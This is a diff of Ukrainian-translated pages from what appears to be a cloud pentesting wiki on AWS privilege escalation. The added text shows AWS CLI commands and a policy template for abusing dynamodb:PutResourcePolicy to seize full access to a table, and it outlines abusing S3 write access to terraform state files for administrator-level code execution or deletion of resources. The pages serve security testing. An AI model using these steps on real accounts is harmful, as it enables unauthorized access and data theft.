Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md

@@ -10,9 +10,58 @@
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
-### Post Exploitation
+### `dynamodb:PutResourcePolicy`, і за бажанням `dynamodb:GetResourcePolicy`
 
-Наскільки мені відомо, **немає прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може викликати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці Post Exploitation DynamoDB**:
+З березня 2024 року AWS пропонує *політики на основі ресурсів* для DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
+
+Отже, якщо у вас є `dynamodb:PutResourcePolicy` для таблиці, ви можете просто надати собі або будь-якому іншому суб'єкту повний доступ до таблиці.
+
+Надання `dynamodb:PutResourcePolicy` випадковому суб'єкту часто відбувається випадково, якщо адміністратори вважають, що надання `dynamodb:Put*` дозволить лише суб'єкту додавати елементи до бази даних - або якщо вони надали цей набір дозволів до березня 2024 року...
+
+В ідеалі, у вас також є `dynamodb:GetResourcePolicy`, щоб ви не перезаписували інші потенційно важливі дозволи, а лише інжектували додаткові дозволи, які вам потрібні:
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn <table_arn> \
+--query 'Policy' \
+--output text > policy.json
+```
+Якщо ви не можете отримати поточну політику, просто використайте цю, яка надає повний доступ до таблиці вашому принципалу:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
+"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+]
+}
+]
+}
+```
+Якщо вам потрібно налаштувати це, ось список усіх можливих дій DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). А ось список усіх дій, які можуть бути дозволені через політику на основі ресурсів *І які з них можуть використовуватися між обліковими записами (подумайте про ексфільтрацію даних!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+Тепер, з документом політики `policy.json`, додайте політику ресурсу:
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn <table_arn> \
+--policy "$(cat policy.json)"
+```
+Тепер у вас повинні бути потрібні дозволи.
+
+### Постексплуатація
+
+Наскільки мені відомо, **немає іншого прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці постексплуатації DynamoDB**:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md

@@ -34,7 +34,7 @@
 ]
 }
 ```
-І викрадення можливе через **невеликий проміжок часу з моменту завантаження шаблону** до бакету до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з бакету**, і **викраде** **вміст** цього **бакету**.
+І викрадення можливе, оскільки існує **невеликий часовий проміжок від моменту завантаження шаблону** до кошика до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з кошика**, і **викраде** **вміст** цього **кошика**.
 
 ![](<../../../images/image (174).png>)
 
@@ -45,14 +45,26 @@
 
 Це дозволи на **отримання та завантаження об'єктів до S3**. Кілька сервісів всередині AWS (і за його межами) використовують S3 для зберігання **конфігураційних файлів**.\
 Зловмисник з **доступом на читання** до них може знайти **чутливу інформацію** в них.\
-Зловмисник з **доступом на запис** до них може **змінити дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\
+Зловмисник з **доступом на запис** до них може **модифікувати дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\
 Ось кілька прикладів:
 
-- Якщо EC2 інстанс зберігає **дані користувача в S3 бакеті**, зловмисник може змінити їх, щоб **виконати довільний код всередині EC2 інстансу**.
+- Якщо екземпляр EC2 зберігає **дані користувача в S3 кошику**, зловмисник може змінити їх, щоб **виконати довільний код всередині екземпляра EC2**.
+
+### `s3:PutObject`, `s3:GetObject` (додатково) над файлом стану terraform
+
+Досить поширено, що файли стану [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) зберігаються в блоб-накопичувачах хмарних провайдерів, наприклад, AWS S3. Суфікс файлу для файлу стану - `.tfstate`, а назви кошиків часто також вказують на те, що вони містять файли стану terraform. Зазвичай, кожен обліковий запис AWS має один такий кошик для зберігання файлів стану, які показують стан облікового запису. Також зазвичай у реальних облікових записах майже завжди всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`.
+
+Отже, якщо у вас є дозволи, зазначені для цих файлів, існує вектор атаки, який дозволяє вам отримати RCE в конвеєрі з привілеями `terraform` - найчастіше `AdministratorAccess`, що робить вас адміністратором хмарного облікового запису. Також ви можете використовувати цей вектор для здійснення атаки відмови в обслуговуванні, змушуючи `terraform` видаляти законні ресурси.
+
+Слідуйте опису в розділі *Зловживання файлами стану Terraform* на сторінці *Безпека Terraform* для безпосередньо використовуваного коду експлойту:
+
+{{#ref}}
+terraform-security.md#abusing-terraform-state-files
+{{#endref}}
 
 ### `s3:PutBucketPolicy`
 
-Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше дозволів над бакетом(ами), що дозволить йому читати, писати, змінювати, видаляти та відкривати бакети.
+Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `Метод, що вказується, не дозволено`, з цим дозволом зможе надати собі більше дозволів над кошиком(ами), що дозволить йому читати, писати, модифікувати, видаляти та відкривати кошики.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>